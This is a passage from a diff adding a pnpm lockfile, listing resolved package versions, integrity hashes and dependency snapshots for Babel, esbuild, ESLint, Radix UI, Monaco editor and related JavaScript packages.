{integrity: sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==} + engines: {node: '>= 0.4'} + + which-typed-array@1.1.20: + resolution: {integrity: sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg==} + engines: {node: '>= 0.4'} + + which@2.0.2: + resolution: {integrity: sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==} + engines: {node: '>= 8'} + hasBin: true + + which@3.0.1: + resolution: {integrity: sha512-XA1b62dzQzLfaEOSQFTCOd5KFf/1VSzZo7/7TUjnya6u0vGGKzU96UQBZTAThCb2j4/xjBAyii1OhRLJEivHvg==} + engines: {node: ^14.17.0 || ^16.13.0 || >=18.0.0} + hasBin: true + + word-wrap@1.2.5: + resolution: {integrity: sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==} + engines: {node: '>=0.10.0'} + + wrap-ansi@7.0.0: + resolution: {integrity: sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==} + engines: {node: '>=10'} + + wrap-ansi@8.1.0: + resolution: {integrity: sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==} + engines: {node: '>=12'} + + wrappy@1.0.2: + resolution: {integrity: sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==} + + ws@7.5.10: + resolution: {integrity: sha512-+dbF1tHwZpXcbOJdVOkzLDxZP1ailvSxM6ZweXTegylPny803bFhA+vqBYw4s31NSAk4S2Qz+AKXK9a4wkdjcQ==} + engines: {node: '>=8.3.0'} + peerDependencies: + bufferutil: ^4.0.1 + utf-8-validate: ^5.0.2 + peerDependenciesMeta: + bufferutil: + optional: true + utf-8-validate: + optional: true + + xtend@4.0.2: + resolution: {integrity: sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==} + engines: {node: '>=0.4'} + + yallist@3.1.1: + resolution: {integrity: sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==} + + yallist@4.0.0: + resolution: {integrity: sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==} + + yaml@1.10.2: + resolution: {integrity: sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==} + engines: {node: '>= 6'} + + yaml@2.8.2: + resolution: {integrity: sha512-mplynKqc1C2hTVYxd0PU2xQAc22TI1vShAYGksCCfxbn/dFwnHTNi1bvYsBTkhdUNtGIf5xNOg938rrSSYvS9A==} + engines: {node: '>= 14.6'} + hasBin: true + + yocto-queue@0.1.0: + resolution: {integrity: sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==} + engines: {node: '>=10'} + + zwitch@2.0.4: + resolution: {integrity: sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==} + +snapshots: + + '@alloc/quick-lru@5.2.0': {} + + '@babel/code-frame@7.29.0': + dependencies: + '@babel/helper-validator-identifier': 7.28.5 + js-tokens: 4.0.0 + picocolors: 1.1.1 + + '@babel/compat-data@7.29.0': {} + + '@babel/core@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-compilation-targets': 7.28.6 + '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) + '@babel/helpers': 7.28.6 + '@babel/parser': 7.29.0 + '@babel/template': 7.28.6 + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + '@jridgewell/remapping': 2.3.5 + convert-source-map: 2.0.0 + debug: 4.4.3 + gensync: 1.0.0-beta.2 + json5: 2.2.3 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/generator@7.29.1': + dependencies: + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + jsesc: 3.0.2 + + '@babel/helper-annotate-as-pure@7.27.3': + dependencies: + '@babel/types': 7.29.0 + + '@babel/helper-compilation-targets@7.28.6': + dependencies: + '@babel/compat-data': 7.29.0 + '@babel/helper-validator-option': 7.27.1 + browserslist: 4.28.1 + lru-cache: 5.1.1 + semver: 6.3.1 + + '@babel/helper-create-class-features-plugin@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-member-expression-to-functions': 7.28.5 + '@babel/helper-optimise-call-expression': 7.27.1 + '@babel/helper-replace-supers': 7.28.6(@babel/core@7.29.0) + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + '@babel/traverse': 7.29.0 + semver: 6.3.1 + transitivePeerDependencies: + - supports-color + + '@babel/helper-globals@7.28.0': {} + + '@babel/helper-member-expression-to-functions@7.28.5': + dependencies: + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-imports@7.28.6': + dependencies: + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-module-transforms@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-module-imports': 7.28.6 + '@babel/helper-validator-identifier': 7.28.5 + '@babel/traverse': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-optimise-call-expression@7.27.1': + dependencies: + '@babel/types': 7.29.0 + + '@babel/helper-plugin-utils@7.28.6': {} + + '@babel/helper-replace-supers@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-member-expression-to-functions': 7.28.5 + '@babel/helper-optimise-call-expression': 7.27.1 + '@babel/traverse': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-skip-transparent-expression-wrappers@7.27.1': + dependencies: + '@babel/traverse': 7.29.0 + '@babel/types': 7.29.0 + transitivePeerDependencies: + - supports-color + + '@babel/helper-string-parser@7.27.1': {} + + '@babel/helper-validator-identifier@7.28.5': {} + + '@babel/helper-validator-option@7.27.1': {} + + '@babel/helpers@7.28.6': + dependencies: + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + + '@babel/parser@7.29.0': + dependencies: + '@babel/types': 7.29.0 + + '@babel/plugin-syntax-decorators@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/plugin-syntax-jsx@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/plugin-syntax-typescript@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + + '@babel/plugin-transform-modules-commonjs@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-module-transforms': 7.28.6(@babel/core@7.29.0) + '@babel/helper-plugin-utils': 7.28.6 + transitivePeerDependencies: + - supports-color + + '@babel/plugin-transform-typescript@7.28.6(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-annotate-as-pure': 7.27.3 + '@babel/helper-create-class-features-plugin': 7.28.6(@babel/core@7.29.0) + '@babel/helper-plugin-utils': 7.28.6 + '@babel/helper-skip-transparent-expression-wrappers': 7.27.1 + '@babel/plugin-syntax-typescript': 7.28.6(@babel/core@7.29.0) + transitivePeerDependencies: + - supports-color + + '@babel/preset-typescript@7.28.5(@babel/core@7.29.0)': + dependencies: + '@babel/core': 7.29.0 + '@babel/helper-plugin-utils': 7.28.6 + '@babel/helper-validator-option': 7.27.1 + '@babel/plugin-syntax-jsx': 7.28.6(@babel/core@7.29.0) + '@babel/plugin-transform-modules-commonjs': 7.28.6(@babel/core@7.29.0) + '@babel/plugin-transform-typescript': 7.28.6(@babel/core@7.29.0) + transitivePeerDependencies: + - supports-color + + '@babel/runtime@7.28.6': {} + + '@babel/template@7.28.6': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/parser': 7.29.0 + '@babel/types': 7.29.0 + + '@babel/traverse@7.29.0': + dependencies: + '@babel/code-frame': 7.29.0 + '@babel/generator': 7.29.1 + '@babel/helper-globals': 7.28.0 + '@babel/parser': 7.29.0 + '@babel/template': 7.28.6 + '@babel/types': 7.29.0 + debug: 4.4.3 + transitivePeerDependencies: + - supports-color + + '@babel/types@7.29.0': + dependencies: + '@babel/helper-string-parser': 7.27.1 + '@babel/helper-validator-identifier': 7.28.5 + + '@emotion/hash@0.9.2': {} + + '@esbuild/aix-ppc64@0.21.5': + optional: true + + '@esbuild/android-arm64@0.17.6': + optional: true + + '@esbuild/android-arm64@0.21.5': + optional: true + + '@esbuild/android-arm@0.17.6': + optional: true + + '@esbuild/android-arm@0.21.5': + optional: true + + '@esbuild/android-x64@0.17.6': + optional: true + + '@esbuild/android-x64@0.21.5': + optional: true + + '@esbuild/darwin-arm64@0.17.6': + optional: true + + '@esbuild/darwin-arm64@0.21.5': + optional: true + + '@esbuild/darwin-x64@0.17.6': + optional: true + + '@esbuild/darwin-x64@0.21.5': + optional: true + + '@esbuild/freebsd-arm64@0.17.6': + optional: true + + '@esbuild/freebsd-arm64@0.21.5': + optional: true + + '@esbuild/freebsd-x64@0.17.6': + optional: true + + '@esbuild/freebsd-x64@0.21.5': + optional: true + + '@esbuild/linux-arm64@0.17.6': + optional: true + + '@esbuild/linux-arm64@0.21.5': + optional: true + + '@esbuild/linux-arm@0.17.6': + optional: true + + '@esbuild/linux-arm@0.21.5': + optional: true + + '@esbuild/linux-ia32@0.17.6': + optional: true + + '@esbuild/linux-ia32@0.21.5': + optional: true + + '@esbuild/linux-loong64@0.17.6': + optional: true + + '@esbuild/linux-loong64@0.21.5': + optional: true + + '@esbuild/linux-mips64el@0.17.6': + optional: true + + '@esbuild/linux-mips64el@0.21.5': + optional: true + + '@esbuild/linux-ppc64@0.17.6': + optional: true + + '@esbuild/linux-ppc64@0.21.5': + optional: true + + '@esbuild/linux-riscv64@0.17.6': + optional: true + + '@esbuild/linux-riscv64@0.21.5': + optional: true + + '@esbuild/linux-s390x@0.17.6': + optional: true + + '@esbuild/linux-s390x@0.21.5': + optional: true + + '@esbuild/linux-x64@0.17.6': + optional: true + + '@esbuild/linux-x64@0.21.5': + optional: true + + '@esbuild/netbsd-x64@0.17.6': + optional: true + + '@esbuild/netbsd-x64@0.21.5': + optional: true + + '@esbuild/openbsd-x64@0.17.6': + optional: true + + '@esbuild/openbsd-x64@0.21.5': + optional: true + + '@esbuild/sunos-x64@0.17.6': + optional: true + + '@esbuild/sunos-x64@0.21.5': + optional: true + + '@esbuild/win32-arm64@0.17.6': + optional: true + + '@esbuild/win32-arm64@0.21.5': + optional: true + + '@esbuild/win32-ia32@0.17.6': + optional: true + + '@esbuild/win32-ia32@0.21.5': + optional: true + + '@esbuild/win32-x64@0.17.6': + optional: true + + '@esbuild/win32-x64@0.21.5': + optional: true + + '@eslint-community/eslint-utils@4.9.1(eslint@8.57.1)': + dependencies: + eslint: 8.57.1 + eslint-visitor-keys: 3.4.3 + + '@eslint-community/regexpp@4.12.2': {} + + '@eslint/eslintrc@2.1.4': + dependencies: + ajv: 6.14.0 + debug: 4.4.3 + espree: 9.6.1 + globals: 13.24.0 + ignore: 5.3.2 + import-fresh: 3.3.1 + js-yaml: 4.1.1 + minimatch: 3.1.5 + strip-json-comments: 3.1.1 + transitivePeerDependencies: + - supports-color + + '@eslint/js@8.57.1': {} + + '@floating-ui/core@1.7.4': + dependencies: + '@floating-ui/utils': 0.2.10 + + '@floating-ui/dom@1.7.5': + dependencies: + '@floating-ui/core': 1.7.4 + '@floating-ui/utils': 0.2.10 + + '@floating-ui/react-dom@2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@floating-ui/dom': 1.7.5 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + + '@floating-ui/utils@0.2.10': {} + + '@humanwhocodes/config-array@0.13.0': + dependencies: + '@humanwhocodes/object-schema': 2.0.3 + debug: 4.4.3 + minimatch: 3.1.5 + transitivePeerDependencies: + - supports-color + + '@humanwhocodes/module-importer@1.0.1': {} + + '@humanwhocodes/object-schema@2.0.3': {} + + '@isaacs/cliui@8.0.2': + dependencies: + string-width: 5.1.2 + string-width-cjs: string-width@4.2.3 + strip-ansi: 7.2.0 + strip-ansi-cjs: strip-ansi@6.0.1 + wrap-ansi: 8.1.0 + wrap-ansi-cjs: wrap-ansi@7.0.0 + + '@jridgewell/gen-mapping@0.3.13': + dependencies: + '@jridgewell/sourcemap-codec': 1.5.5 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/remapping@2.3.5': + dependencies: + '@jridgewell/gen-mapping': 0.3.13 + '@jridgewell/trace-mapping': 0.3.31 + + '@jridgewell/resolve-uri@3.1.2': {} + + '@jridgewell/sourcemap-codec@1.5.5': {} + + '@jridgewell/trace-mapping@0.3.31': + dependencies: + '@jridgewell/resolve-uri': 3.1.2 + '@jridgewell/sourcemap-codec': 1.5.5 + + '@jspm/core@2.1.0': {} + + '@mdx-js/mdx@2.3.0': + dependencies: + '@types/estree-jsx': 1.0.5 + '@types/mdx': 2.0.13 + estree-util-build-jsx: 2.2.2 + estree-util-is-identifier-name: 2.1.0 + estree-util-to-js: 1.2.0 + estree-walker: 3.0.3 + hast-util-to-estree: 2.3.3 + markdown-extensions: 1.1.1 + periscopic: 3.1.0 + remark-mdx: 2.3.0 + remark-parse: 10.0.2 + remark-rehype: 10.1.0 + unified: 10.1.2 + unist-util-position-from-estree: 1.1.2 + unist-util-stringify-position: 3.0.3 + unist-util-visit: 4.1.2 + vfile: 5.3.7 + transitivePeerDependencies: + - supports-color + + '@monaco-editor/loader@1.7.0': + dependencies: + state-local: 1.0.7 + + '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@18.3.1(react@18.3.1))(react@18.3.1)': + dependencies: + '@monaco-editor/loader': 1.7.0 + monaco-editor: 0.55.1 + react: 18.3.1 + react-dom: 18.3.1(react@18.3.1) + + '@monaco-editor/react@4.7.0(monaco-editor@0.55.1)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@monaco-editor/loader': 1.7.0 + monaco-editor: 0.55.1 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + + '@nodelib/fs.scandir@2.1.5': + dependencies: + '@nodelib/fs.stat': 2.0.5 + run-parallel: 1.2.0 + + '@nodelib/fs.stat@2.0.5': {} + + '@nodelib/fs.walk@1.2.8': + dependencies: + '@nodelib/fs.scandir': 2.1.5 + fastq: 1.20.1 + + '@npmcli/fs@3.1.1': + dependencies: + semver: 7.7.4 + + '@npmcli/git@4.1.0': + dependencies: + '@npmcli/promise-spawn': 6.0.2 + lru-cache: 7.18.3 + npm-pick-manifest: 8.0.2 + proc-log: 3.0.0 + promise-inflight: 1.0.1 + promise-retry: 2.0.1 + semver: 7.7.4 + which: 3.0.1 + transitivePeerDependencies: + - bluebird + + '@npmcli/package-json@4.0.1': + dependencies: + '@npmcli/git': 4.1.0 + glob: 10.5.0 + hosted-git-info: 6.1.3 + json-parse-even-better-errors: 3.0.2 + normalize-package-data: 5.0.0 + proc-log: 3.0.0 + semver: 7.7.4 + transitivePeerDependencies: + - bluebird + + '@npmcli/promise-spawn@6.0.2': + dependencies: + which: 3.0.1 + + '@pkgjs/parseargs@0.11.0': + optional: true + + '@playwright/test@1.58.2': + dependencies: + playwright: 1.58.2 + + '@radix-ui/number@1.1.1': {} + + '@radix-ui/primitive@1.1.3': {} + + '@radix-ui/react-arrow@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-checkbox@1.3.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-previous': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-size': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-collection@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-compose-refs@1.1.2(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-context@1.1.2(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-dialog@1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + aria-hidden: 1.2.6 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-direction@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-dismissable-layer@1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-escape-keydown': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-focus-guards@1.1.3(@types/react@18.3.28)(react@19.2.4)': + dependencies: + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-focus-scope@1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-id@1.1.1(@types/react@18.3.28)(react@19.2.4)': + dependencies: + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + optionalDependencies: + '@types/react': 18.3.28 + + '@radix-ui/react-popover@1.1.15(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-dismissable-layer': 1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-focus-guards': 1.1.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-focus-scope': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-popper': 1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-portal': 1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-presence': 1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-controllable-state': 1.2.2(@types/react@18.3.28)(react@19.2.4) + aria-hidden: 1.2.6 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + react-remove-scroll: 2.7.2(@types/react@18.3.28)(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-popper@1.2.8(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@floating-ui/react-dom': 2.1.7(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-arrow': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-callback-ref': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-rect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-size': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/rect': 1.1.1 + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-portal@1.1.9(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-primitive': 2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-presence@1.1.5(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-use-layout-effect': 1.1.1(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-primitive@2.1.3(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-slot': 1.2.3(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-primitive@2.1.4(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/react-slot': 1.2.4(@types/react@18.3.28)(react@19.2.4) + react: 19.2.4 + react-dom: 19.2.4(react@19.2.4) + optionalDependencies: + '@types/react': 18.3.28 + '@types/react-dom': 18.3.7(@types/react@18.3.28) + + '@radix-ui/react-roving-focus@1.1.11(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)': + dependencies: + '@radix-ui/primitive': 1.1.3 + '@radix-ui/react-collection': 1.1.7(@types/react-dom@18.3.7(@types/react@18.3.28))(@types/react@18.3.28)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + '@radix-ui/react-compose-refs': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-context': 1.1.2(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-direction': 1.1.1(@types/react@18.3.28)(react@19.2.4) + '@radix-ui/react-id': 1.1.1(@types/react@18.3.28)(react@19.2.4) + 